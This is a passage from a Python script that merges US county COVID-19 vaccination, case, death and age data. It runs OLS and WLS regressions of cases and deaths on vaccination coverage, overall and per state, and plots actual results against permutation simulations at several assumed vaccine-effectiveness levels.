numpy.nan)\ndata2[\"Administered_Dose1_Recip_18PlusPop_Pct\"]=data2[\"Administered_Dose1_Recip_18PlusPop_Pct\"].replace(0, numpy.nan)\ndata2[\"Administered_Dose1_Recip_12PlusPop_Pct\"]=data2[\"Administered_Dose1_Recip_12PlusPop_Pct\"].replace(\"12.{\",12.7).astype(float)\ndata2[\"Administered_Dose1_Recip_12PlusPop_Pct\"]=data2[\"Administered_Dose1_Recip_12PlusPop_Pct\"].replace(0, numpy.nan)\n\ndata2[\"Series_Complete_Pop_Pct\"]=data2[\"Series_Complete_Pop_Pct\"].replace(0, numpy.nan)\ndata2[\"Series_Complete_12PlusPop_Pct\"]=data2[\"Series_Complete_12PlusPop_Pct\"].replace(0, numpy.nan)\ndata2[\"Series_Complete_18PlusPop_Pct\"]=data2[\"Series_Complete_18PlusPop_Pct\"].replace(0, numpy.nan)\ndata2[\"Series_Complete_65PlusPop_Pct\"]=data2[\"Series_Complete_65PlusPop_Pct\"].replace(0, numpy.nan)\n\ndata2 = data2.drop(data2[data2.Recip_County == \"Unknown County\"].index)\ndata2 = data2.drop(data2[data2.Series_Complete_Pop_Pct == 0].index)\ndata2 = data2.replace('suppressed', '0')\n\n\n#Cases data:\ndata=data.replace('suppressed', '0')\ndata[\"cases_per_100K_7_day_count_change\"]=data[\"cases_per_100K_7_day_count_change\"].str.replace(',', '').astype(float)\ndata[\"Date\"]=pandas.to_datetime(data[\"date\"])\ndata=data.sort_values([\"fips_code\",\"Date\"]).reset_index(drop=True)\n\ndata[\"CumCases\"]=0\nfor i in range(7):\n I=(1-numpy.minimum((data.groupby([\"fips_code\"]).cumcount()+i)%7,1))\n data[\"C\"]=data[\"cases_per_100K_7_day_count_change\"].fillna(0).astype(float) * I\n data[\"CumCases\"]+= data[[\"fips_code\",\"C\"]].groupby([\"fips_code\"]).cumsum()[\"C\"] * I\n\n\n#Age data: \ndata6[\"PO85\"]=data6[\"AGE85PLUS_TOT\"]/data6[\"POPESTIMATE\"]\ndata6[\"PO65\"]=data6[\"AGE65PLUS_TOT\"]/data6[\"POPESTIMATE\"]\ndata6[\"P4564\"]=data6[\"AGE4564_TOT\"]/data6[\"POPESTIMATE\"]\n\n\n#Merge datasets:\nData=data.merge(data2, how='inner', left_on=[\"date\",\"fips_code\"], right_on=[\"Date\",\"FIPS\"]).reset_index(drop=True)\nData[\"date\"]=pandas.to_datetime(Data['date']) \nData=Data.sort_values([\"fips_code\",\"date\"]).reset_index(drop=True).reset_index(drop=True)\nData=Data.loc[(pandas.to_datetime(Data['date']) <= EndDate) & (pandas.to_datetime(Data['date']) >= StartDate)]\nData = Data.reset_index(drop=True)\nData[\"Population\"]=(Data[\"Series_Complete_Yes\"]/(Data[\"Series_Complete_Pop_Pct\"]/100)).round().astype(float)\n\n\n#Create leveled datasets:\ndf=Data.groupby([\"fips_code\"],as_index=False).mean()\ndf[[\"Metro_status\",\"state_name\"]]=Data.groupby([\"fips_code\"],as_index=False).first()[[\"Metro_status\",\"state_name\"]]\ndf[\"prevcases\"]=Data[[\"fips_code\",\"CumCases\"]].groupby([\"fips_code\"],as_index=False).first()[\"CumCases\"]\n#df[\"cases_per_100K (est)\"] = df[\"cases_per_100K_7_day_count_change\"]\ndf[\"cases_per_100K (est)\"]=Data[[\"fips_code\",\"CumCases\"]].groupby([\"fips_code\"],as_index=False).last()[\"CumCases\"]-df[\"prevcases\"]\ndf[\"C\"]=numpy.ones(len(df))\ndf[\"Population\"]=df[\"Population\"].astype(float)\ndf[[\"Series_Complete_Pop_Pct\",\"Series_Complete_12PlusPop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\",\"Administered_Dose1_Pop_Pct\",\"Administered_Dose1_Recip_12PlusPop_Pct\",\"Administered_Dose1_Recip_18PlusPop_Pct\",\"Administered_Dose1_Recip_65PlusPop_Pct\"]]=Data.groupby([\"fips_code\"],as_index=False).last()[[\"Series_Complete_Pop_Pct\",\"Series_Complete_12PlusPop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\",\"Administered_Dose1_Pop_Pct\",\"Administered_Dose1_Recip_12PlusPop_Pct\",\"Administered_Dose1_Recip_18PlusPop_Pct\",\"Administered_Dose1_Recip_65PlusPop_Pct\"]]\ndf[[\"Series_Complete_Yes\",\"Series_Complete_12Plus\",\"Series_Complete_18Plus\",\"Series_Complete_65Plus\",\"Administered_Dose1_Recip\",\"Administered_Dose1_Recip_12Plus\",\"Administered_Dose1_Recip_18Plus\",\"Administered_Dose1_Recip_65Plus\"]]=Data.groupby([\"fips_code\"],as_index=False).last()[[\"Series_Complete_Yes\",\"Series_Complete_12Plus\",\"Series_Complete_18Plus\",\"Series_Complete_65Plus\",\"Administered_Dose1_Recip\",\"Administered_Dose1_Recip_12Plus\",\"Administered_Dose1_Recip_18Plus\",\"Administered_Dose1_Recip_65Plus\"]]\n\ndf[[\"S1\",\"S2\",\"S3\",\"S4\",\"S5\",\"S6\",\"S7\",\"S8\"]]=Data.groupby([\"fips_code\"],as_index=False).last()[[\"Series_Complete_Pop_Pct\",\"Series_Complete_12PlusPop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\",\"Administered_Dose1_Pop_Pct\",\"Administered_Dose1_Recip_12PlusPop_Pct\",\"Administered_Dose1_Recip_18PlusPop_Pct\",\"Administered_Dose1_Recip_65PlusPop_Pct\"]]-Data.groupby([\"fips_code\"],as_index=False).first()[[\"Series_Complete_Pop_Pct\",\"Series_Complete_12PlusPop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\",\"Administered_Dose1_Pop_Pct\",\"Administered_Dose1_Recip_12PlusPop_Pct\",\"Administered_Dose1_Recip_18PlusPop_Pct\",\"Administered_Dose1_Recip_65PlusPop_Pct\"]]\n\ndf = df.merge(data5[[\"STCOU\",\"LND110210D\"]], left_on=[\"fips_code\"],right_on=\"STCOU\").reset_index(drop=True) \ndf[\"density\"]=df[\"Population\"]/df[\"LND110210D\"]\ndf=df.merge(data6,left_on=[\"fips_code\"],right_on=[\"FIPS\"]).reset_index(drop=True) \ndf=df[df[\"cases_per_100K (est)\"]>0].reset_index(drop=True) #Delete zeros (cases).\n\ndfD=df.merge(deaths, how='inner', left_on=[\"fips_code\"], right_on=[\"FIPS County Code\"]).reset_index(drop=True)\ndfD[\"deathspercap\"]=dfD[\"deaths\"]/dfD[\"Population\"]\ndfD[\"alldeathspercap\"]=dfD[\"alldeaths\"]/dfD[\"Population\"]\ndfD[\"noncoviddeathspercap\"]=dfD[\"alldeathspercap\"]-dfD[\"deathspercap\"]\ndfD[\"CFR\"]=dfD[\"deathspercap\"]/(dfD[\"cases_per_100K (est)\"]/100000)\ndfD[\"FCFR\"]=dfD[\"noncoviddeathspercap\"]/dfD[\"cases_per_100K (est)\"]*100000\ndfD[\"prevdeaths\"]=dfD[\"Deaths involving COVID-19_y\"]/dfD[\"Population\"]\ndfD=dfD[dfD[\"deathspercap\"]>0].reset_index(drop=True) #Delete zeros (deaths).\n\nM=dfD[[\"CFR\",\"cases_per_100K (est)\",\"deathspercap\"]]\n\n\n#Construct additional data for simulation (not used by default):\nDataSim=data.loc[(data['date'] <= '12/31/2020')]\nDataSim[\"cases_per_100K (est)\"]=DataSim[\"cases_per_100K_7_day_count_change\"].astype(\"float\")\nDataSim=DataSim.groupby([\"fips_code\"],as_index=False).mean()\nDataSim=DataSim[DataSim.fips_code.isin(df.fips_code.values)==True]\n\nDataSimD=DataSim.copy()\nDataSimD=DataSimD.merge(data7[[\"Total Deaths\",\"COVID-19 Deaths\",\"Fips Code\"]], how='inner', left_on=[\"fips_code\"], right_on=[\"Fips Code\"])\nDataSimD=DataSimD.merge(dfD[[\"Population\",\"fips_code\"]], how='inner', on=[\"fips_code\"])\nDataSimD=DataSimD.rename(columns={\"COVID-19 Deaths\" : \"deaths\",\"Total Deaths\" : \"alldeaths\"})\nDataSimD[\"deathspercap\"]=DataSimD[\"deaths\"]/DataSimD[\"Population\"]\nDataSimD[\"alldeathspercap\"]=DataSimD[\"alldeaths\"]/DataSimD[\"Population\"]\nDataSimD=DataSimD[DataSimD.fips_code.isin(dfD.fips_code.values)==True]\n\n\n#Create additional variables:\ndf[[\"TwoDoses\",\"TwoDoses12+\",\"TwoDoses18+\",\"TwoDoses65+\"]]=(df[[\"Series_Complete_Pop_Pct\",\"Series_Complete_12PlusPop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\"]].to_numpy()+df[[\"Administered_Dose1_Pop_Pct\",\"Administered_Dose1_Recip_12PlusPop_Pct\",\"Administered_Dose1_Recip_18PlusPop_Pct\",\"Administered_Dose1_Recip_65PlusPop_Pct\"]].to_numpy())/2\ndf[[\"ThreeDoses\",\"ThreeDoses18+\",\"ThreeDoses65+\"]]=(df[[\"TwoDoses\",\"TwoDoses18+\",\"TwoDoses65+\"]].to_numpy()+df[[\"Booster_Doses_Vax_Pct\",\"Booster_Doses_18Plus_Vax_Pct\",\"Booster_Doses_65Plus_Vax_Pct\"]].to_numpy())/3\ndf[[\"FullBooster\",\"FullBooster18+\",\"FullBooster65+\"]]=(df[[\"Series_Complete_Pop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\"]].to_numpy()+df[[\"Booster_Doses_Vax_Pct\",\"Booster_Doses_18Plus_Vax_Pct\",\"Booster_Doses_65Plus_Vax_Pct\"]].to_numpy())/2\n\ndfD[[\"TwoDoses\",\"TwoDoses12+\",\"TwoDoses18+\",\"TwoDoses65+\"]]=(dfD[[\"Series_Complete_Pop_Pct\",\"Series_Complete_12PlusPop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\"]].to_numpy()+dfD[[\"Administered_Dose1_Pop_Pct\",\"Administered_Dose1_Recip_12PlusPop_Pct\",\"Administered_Dose1_Recip_18PlusPop_Pct\",\"Administered_Dose1_Recip_65PlusPop_Pct\"]].to_numpy())/2\ndfD[[\"ThreeDoses\",\"ThreeDoses18+\",\"ThreeDoses65+\"]]=(dfD[[\"TwoDoses\",\"TwoDoses18+\",\"TwoDoses65+\"]].to_numpy()+dfD[[\"Booster_Doses_Vax_Pct\",\"Booster_Doses_18Plus_Vax_Pct\",\"Booster_Doses_65Plus_Vax_Pct\"]].to_numpy())/3\ndfD[[\"FullBooster\",\"FullBooster18+\",\"FullBooster65+\"]]=(dfD[[\"Series_Complete_Pop_Pct\",\"Series_Complete_18PlusPop_Pct\",\"Series_Complete_65PlusPop_Pct\"]].to_numpy()+dfD[[\"Booster_Doses_Vax_Pct\",\"Booster_Doses_18Plus_Vax_Pct\",\"Booster_Doses_65Plus_Vax_Pct\"]].to_numpy())/2\ndfD[\"deathspercap2\"]=dfD[\"deathspercap\"]**2\ndfD[\"noncoviddeathspercap2\"]=dfD[\"noncoviddeathspercap\"]**2\ndfD[\"noncoviddeathspercap3\"]=dfD[\"noncoviddeathspercap\"]**3\ndfD[\"noncoviddeathspercap4\"]=dfD[\"noncoviddeathspercap\"]**4\ndfD[\"noncoviddeathspercap5\"]=dfD[\"noncoviddeathspercap\"]**5\ndfD[\"Series_Complete_Pop_Pct2\"]=dfD[\"Series_Complete_Pop_Pct\"]**2\ndfD[\"Series_Complete_Pop_Pct3\"]=dfD[\"Series_Complete_Pop_Pct\"]**3\ndfD[\"Series_Complete_Pop_Pct4\"]=dfD[\"Series_Complete_Pop_Pct\"]**4\ndfD[\"prevcases2\"]=dfD[\"prevcases\"]**2\ndfD[\"prevcases3\"]=dfD[\"prevcases\"]**3\ndfD[\"prevdeaths2\"]=dfD[\"prevdeaths\"]**2\ndfD[\"prevdeaths3\"]=dfD[\"prevdeaths\"]**3\ndf[\"density2\"]=df[\"density\"]**2\ndf[\"density3\"]=df[\"density\"]**3\ndfD[\"density2\"]=dfD[\"density\"]**2\ndfD[\"density3\"]=dfD[\"density\"]**3\ndfD[\"PO852\"]=dfD[\"PO85\"]**2\ndfD[\"PO652\"]=dfD[\"PO65\"]**2\ndfD[\"P45642\"]=dfD[\"P4564\"]**2\ndfD[\"PO853\"]=dfD[\"PO85\"]**3\ndfD[\"PO653\"]=dfD[\"PO65\"]**3\ndfD[\"P45643\"]=dfD[\"P4564\"]**3\ndfD[\"0\"]=numpy.zeros(len(dfD))\ndfD[\"Series_Complete_65MinusPop_Pct\"]=100*(dfD[\"Series_Complete_Yes\"]-dfD[\"Series_Complete_65Plus\"])/(dfD[\"POPESTIMATE\"]-dfD[\"PO65\"])\n\n\n#Create dummies:\nD1=pandas.get_dummies(df[\"state_name\"],drop_first=True)\nD2=pandas.get_dummies(df[\"Metro_status\"],drop_first=True)\nD3=pandas.get_dummies(df[[\"state_name\",\"Metro_status\"]],drop_first=True)\nD4=pandas.get_dummies(dfD[\"state_name\"],drop_first=True)\nD5=pandas.get_dummies(dfD[\"Urban Rural Code_x\"],drop_first=True)\nD6=pandas.get_dummies(dfD[[\"state_name\",\"Urban Rural Code_x\"]],drop_first=True)\ndfD[\"Metro_status\"]=pandas.get_dummies(dfD[\"Metro_status\"],drop_first=True)\n# %% Regression models:\nif (True==True):\n Y1=\"cases_per_100K (est)\"\n Y2=\"deathspercap\"\n Y3=\"noncoviddeathspercap\"\n #Y4=\"CFR\"\n Vars1 = [\"C\",\"Series_Complete_Pop_Pct\",\"PO65\",\"PO652\",\"PO85\",\"PO852\"]\n Vars2 = [\"C\",\"Series_Complete_Pop_Pct\",\"PO65\",\"PO652\",\"PO85\",\"PO852\"]\n Vars3 = [\"C\",\"Series_Complete_Pop_Pct\"]\n #Vars4 = [\"C\",\"Series_Complete_Pop_Pct\",\"PO65\",\"PO652\",\"PO85\",\"PO852\"]\n n=24\n\n model1=sm.OLS(dfD[Y1], dfD[Vars1],missing=\"drop\")\n model2=sm.OLS(dfD[Y1], pandas.concat([dfD[Vars1],D4],axis=1),missing=\"drop\")\n model3=sm.OLS(dfD[Y1], pandas.concat([dfD[Vars1],D5],axis=1),missing=\"drop\")\n model4=sm.OLS(dfD[Y1], pandas.concat([dfD[Vars1],D6],axis=1),missing=\"drop\")\n model5=sm.WLS(dfD[Y1], dfD[Vars1],weights=dfD[\"Population\"],missing=\"drop\")\n model6=sm.WLS(dfD[Y1], pandas.concat([dfD[Vars1],D4],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n model7=sm.WLS(dfD[Y1], pandas.concat([dfD[Vars1],D5],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n model8=sm.WLS(dfD[Y1], pandas.concat([dfD[Vars1],D6],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n\n model9=sm.OLS(dfD[Y2]*100000, dfD[Vars2],missing=\"drop\")\n model10=sm.OLS(dfD[Y2]*100000, pandas.concat([dfD[Vars2],D4],axis=1),missing=\"drop\")\n model11=sm.OLS(dfD[Y2]*100000, pandas.concat([dfD[Vars2],D5],axis=1),missing=\"drop\")\n model12=sm.OLS(dfD[Y2]*100000, pandas.concat([dfD[Vars2],D6],axis=1),missing=\"drop\")\n model13=sm.WLS(dfD[Y2]*100000, dfD[Vars2],weights=dfD[\"Population\"],missing=\"drop\")\n model14=sm.WLS(dfD[Y2]*100000, pandas.concat([dfD[Vars2],D4],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n model15=sm.WLS(dfD[Y2]*100000, pandas.concat([dfD[Vars2],D5],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n model16=sm.WLS(dfD[Y2]*100000, pandas.concat([dfD[Vars2],D6],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n \n model17=sm.OLS(dfD[Y3]*100000, dfD[Vars3],missing=\"drop\")\n model18=sm.OLS(dfD[Y3]*100000, pandas.concat([dfD[Vars3],D4],axis=1),missing=\"drop\")\n model19=sm.OLS(dfD[Y3]*100000, pandas.concat([dfD[Vars3],D5],axis=1),missing=\"drop\")\n model20=sm.OLS(dfD[Y3]*100000, pandas.concat([dfD[Vars3],D6],axis=1),missing=\"drop\")\n model21=sm.WLS(dfD[Y3]*100000, dfD[Vars3],weights=dfD[\"Population\"],missing=\"drop\")\n model22=sm.WLS(dfD[Y3]*100000, pandas.concat([dfD[Vars3],D4],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n model23=sm.WLS(dfD[Y3]*100000, pandas.concat([dfD[Vars3],D5],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n model24=sm.WLS(dfD[Y3]*100000, pandas.concat([dfD[Vars3],D6],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n\n #model25=sm.OLS(dfD[Y4]*100000, dfD[Vars4],missing=\"drop\")\n #model26=sm.OLS(dfD[Y4]*100000, pandas.concat([dfD[Vars4],D4],axis=1),missing=\"drop\")\n #model27=sm.OLS(dfD[Y4]*100000, pandas.concat([dfD[Vars4],D5],axis=1),missing=\"drop\")\n #model28=sm.OLS(dfD[Y4]*100000, pandas.concat([dfD[Vars4],D6],axis=1),missing=\"drop\")\n #model29=sm.WLS(dfD[Y4]*100000, dfD[Vars4],weights=dfD[\"Population\"],missing=\"drop\")\n #model30=sm.WLS(dfD[Y4]*100000, pandas.concat([dfD[Vars4],D4],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n #model31=sm.WLS(dfD[Y4]*100000, pandas.concat([dfD[Vars4],D5],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n #model32=sm.WLS(dfD[Y4]*100000, pandas.concat([dfD[Vars4],D6],axis=1),missing=\"drop\",weights=dfD[\"Population\"])\n\n\n results=numpy.zeros([n,5])\n for i in range(n):\n print(\"\")\n print(\"\")\n print(\"Model\"+(str(i+1)) + \"result:\")\n M=eval(\"model\"+ str(i+1)+\".fit()\")\n print(M.summary())\n results[i,0]=M.params[1]\n results[i,1]=M.pvalues[1]\n \n MData = eval(\"model\"+str(i+1)+\".exog\")\n MParam0 = numpy.copy(MData)\n MParam1 = numpy.copy(MData)\n MParam0[:,1]=0\n MParam1[:,1]=100\n #results[i,2]=1-numpy.mean(M.predict(MParam1))/numpy.mean(M.predict(MParam0))\n results[i,2]=(1-numpy.mean(numpy.maximum(M.predict(MParam1),0)/(M.predict(MParam0))))*100\n results[i,3]=M.rsquared\n results[i,4]=M.aic\n\n#Analysis for each state.\n results1 = []\n results2 = []\n results3 = []\n for i in range(len(dfD[\"state_name\"].unique())):\n datas=dfD[(dfD['state_name'] == dfD[\"state_name\"].unique()[i])]\n if (len(datas))>=20:\n Model=sm.WLS(datas[\"cases_per_100K (est)\"], datas[[\"C\",\"Series_Complete_Pop_Pct\"]])\n M=Model.fit()\n VE0=-M.params[1]*100/M.params[0]\n results1.append((df[\"state_name\"].unique()[i],M.params[1],M.pvalues[1],VE0*100,int(numpy.round(datas[\"Population\"].sum())),len(datas)))\n print(M.summary())\n\n\n for i in range(len(dfD[\"state_name\"].unique())):\n datas=dfD[(dfD['state_name'] == dfD[\"state_name\"].unique()[i])]\n if (len(datas))>=20:\n Model=sm.WLS(datas[\"deathspercap\"]*100000, datas[[\"C\",\"Series_Complete_Pop_Pct\"]])\n M=Model.fit()\n VE0=-M.params[1]*100/M.params[0]\n results2.append((dfD[\"state_name\"].unique()[i],M.params[1],M.pvalues[1],VE0*100,int(numpy.round(datas[\"Population\"].sum())),len(datas)))\n \n for i in range(len(dfD[\"state_name\"].unique())):\n datas=dfD[(dfD['state_name'] == dfD[\"state_name\"].unique()[i])]\n if (len(datas))>=20:\n Model=sm.WLS(datas[\"noncoviddeathspercap\"]*100000, datas[[\"C\",\"Series_Complete_Pop_Pct\"]])\n M=Model.fit()\n VE0=-M.params[1]*100/M.params[0]\n results3.append((dfD[\"state_name\"].unique()[i],M.params[1],M.pvalues[1],VE0*100,int(numpy.round(datas[\"Population\"].sum())),len(datas)))\n\n\n#Create text file:\n myText0 = open(r'Model results\\Model results.txt','w')\n myText1 = open(r'Model results\\All states.txt','w')\n Str0 = ['Results for different models', \" M1 : Cases per 100K explained by full V%, 2nd order polynomial of population % over 65 and 85 as control.\",\" M2 : Controlled for state.\", \" M3 : Controlled for metropolian area.\", \" M4 : Controlled for state and metropolian area.\", \" M5-M8 : Same as M1-M4, weighted by population.\", \" M9-M16 : Same as M1-M8, but covid deaths as response\",\" M17-M24 : Same as M1-M8, but non-covid deaths as response.\"\"\",\" Coeff: p: VE: R^2: AIC:\"]\n Str1 = [\"Cases and deaths per capita explained by overall full vaccination percentage independently in each state. No controls.\", \" State: Coef: p-val: VE: Population: Number of counties:\"]\n S=[\"Cases:\",\"Deaths:\", \"Non-Covid Deaths:\"]\n \n z=0\n for i in Str0:\n myText0.write(i + '\\n')\n for i in range(n):\n if i%8==0:\n myText0.write(\"\\n\" + S[z] + \"\\n\")\n z+=1\n myText0.write((\"M\"+ str(i+1)).rjust(3,\" \"))\n for j in range(results.shape[1]):\n myText0.write(\" \" + \"{:.3f}\".format(results[i,j]))\n myText0.write('\\n')\n \n \n for i in Str1:\n myText1.write(i + '\\n')\n myText1.write(\"\\nCASES: \\n \\n\")\n for i in range(len(results1)):\n for j in range(len(results1[0])):\n if type(results1[i][j])==numpy.float64:\n myText1.write(\" \" + \"{:.5f}\".format(results1[i][j]).ljust(25,\" \"))\n else:\n myText1.write(str(results1[i][j]).ljust(25,\" \"))\n myText1.write('\\n')\n \n \n myText1.write(\"\\nCOVID-19 DEATHS: \\n \\n\")\n for i in range(len(results2)):\n for j in range(len(results2[0])):\n if type(results2[i][j])==numpy.float64:\n myText1.write(\" \" + \"{:.5f}\".format(results2[i][j]).ljust(25,\" \"))\n else:\n myText1.write(str(results2[i][j]).ljust(25,\" \"))\n myText1.write('\\n')\n \n myText1.write(\"\\nNON-COVID DEATHS: \\n \\n\")\n for i in range(len(results3)):\n for j in range(len(results3[0])):\n if type(results3[i][j])==numpy.float64:\n myText1.write(\" \" + \"{:.5f}\".format(results3[i][j]).ljust(25,\" \"))\n else:\n myText1.write(str(results3[i][j]).ljust(25,\" \"))\n myText1.write('\\n')\n\n\n# %% Requested analysis:\n\ndef scatter1(x,y,VE,name,df=df,dfSim=df,scale=1,n=4):\n fig, ax = plt.subplots(nrows=1,ncols=n+1, figsize=(20,7))\n fig.suptitle(name,fontsize=24)\n fig.tight_layout(w_pad=3)\n ax[0].set_ylim([0, max(df[y])*scale])\n ax[0].title.set_text('Actual')\n sns.regplot(x,y,data=df,ax=ax[0],line_kws={'lw': 1.5, 'color': 'red'},scatter_kws={\"s\": 20})\n for i in range(n):\n ax[i+1].set_ylim([0, max(df[y])*scale])\n ax[i+1].title.set_text(\"Simulation \"+str(i+1))\n df[y+\" permute\"]=numpy.random.choice(dfSim[y].values/(1-df[x]/100*VE),size=len(dfSim[y].values),replace=False)*(1-df[x]/100*VE)\n df[y+\" permute\"]=df[y+\" permute\"]*df[y].mean()/df[y+\" permute\"].mean()\n sns.regplot(x,y+\" permute\",data=df,ax=ax[i+1],line_kws={'lw': 1.5, 'color': 'red'},x_ci=0.95,scatter_kws={\"s\": 20})\n return fig\n#Set theme:\nsns.set_theme(color_codes=True,style='darkgrid', palette='deep')\n\nfor i in range(len(VE)):\n name=\"Cases and Full Vaccination VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_Pop_Pct\",\"cases_per_100K (est)\",VE[i],name) #Push dfSim for the \"dfSim\" argument to use alternative data for cases.\n fig.savefig(\"Plots/All vaccinations/\" + \"Cases Full VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\nfor i in range(len(VE)):\n name=\"COVID Deaths and Full Vaccination VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_Pop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2) #Push dfSimD for the argument to use alternative data for deaths.\n fig.savefig(\"Plots/All vaccinations/\" +\"Deaths Full VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\nfor i in range(len(VE)):\n name=\"Cases and One Vaccination VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Pop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/All vaccinations/\" +\"Cases One VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\nfor i in range((len(VE))):\n name=\"COVID Deaths and One Vaccination VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Pop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/All vaccinations/\" +\"Deaths One VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n\n# %% : Analysis for differnt vaccination ages:\n\nif (True==True):\n #12+\n for i in range(len(VE)):\n name=\"Cases and Full Vaccination 12+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_12PlusPop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/12+/\"+\"Cases Full 12+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"COVID Deaths and Full Vaccination 12+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_12PlusPop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/12+/\"+\"Deaths Full 12+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and One Vaccination 12+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Recip_12PlusPop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/12+/\"+\"Cases One 12+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"COVID Deaths and One Vaccination 12+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Recip_12PlusPop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/12+/\"+\"Deaths One 12+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n\n \n #18+\n for i in range(len(VE)):\n name=\"Cases and Full Vaccination 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_18PlusPop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n \n for i in range(len(VE)):\n name=\"COVID Deaths and Full Vaccination 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_18PlusPop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/18+/\"+\"Deaths Full 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and One Vaccination 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Recip_18PlusPop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/18+/\"+\"Cases One 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"COVID Deaths and One Vaccination 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Recip_18PlusPop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/18+/\"+\"Deaths One 18+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n \n #65+\n for i in range(len(VE)):\n name=\"Cases and Full Vaccination 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_65PlusPop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/65+/\"+\"Cases Full 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"COVID Deaths and Full Vaccination 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Series_Complete_65PlusPop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/65+/\"+\"Deaths Full 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and One Vaccination 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Recip_65PlusPop_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/65+/\"+\"Cases One 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range((len(VE))):\n name=\"COVID Deaths and One Vaccination 65+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Administered_Dose1_Recip_65PlusPop_Pct\",\"deathspercap\",VE[i],name,dfD,dfD,0.2)\n fig.savefig(\"Plots/65+/\"+\"Deaths One 65+ VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n #BOOSTERS:\n for i in range(len(VE)):\n name=\"Cases and Boosters All Vaccinations VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_Vax_Pct\",\"cases_per_100K (est)\",VE[i],name)\n fig.savefig(\"Plots/Boosters/\"+\"Cases Boosters VE \"+str(int(VE[i]*100))+\".png\",bbox_inches=\"tight\")\n \n for i in range(len(VE)):\n name=\"Cases and Booster Vaccination 18+ VE: \"+str(int(VE[i]*100))+\"%\"\n fig=scatter1(\"Booster_Doses_18Plus_Vax_Pct\",\"cases_per_100K 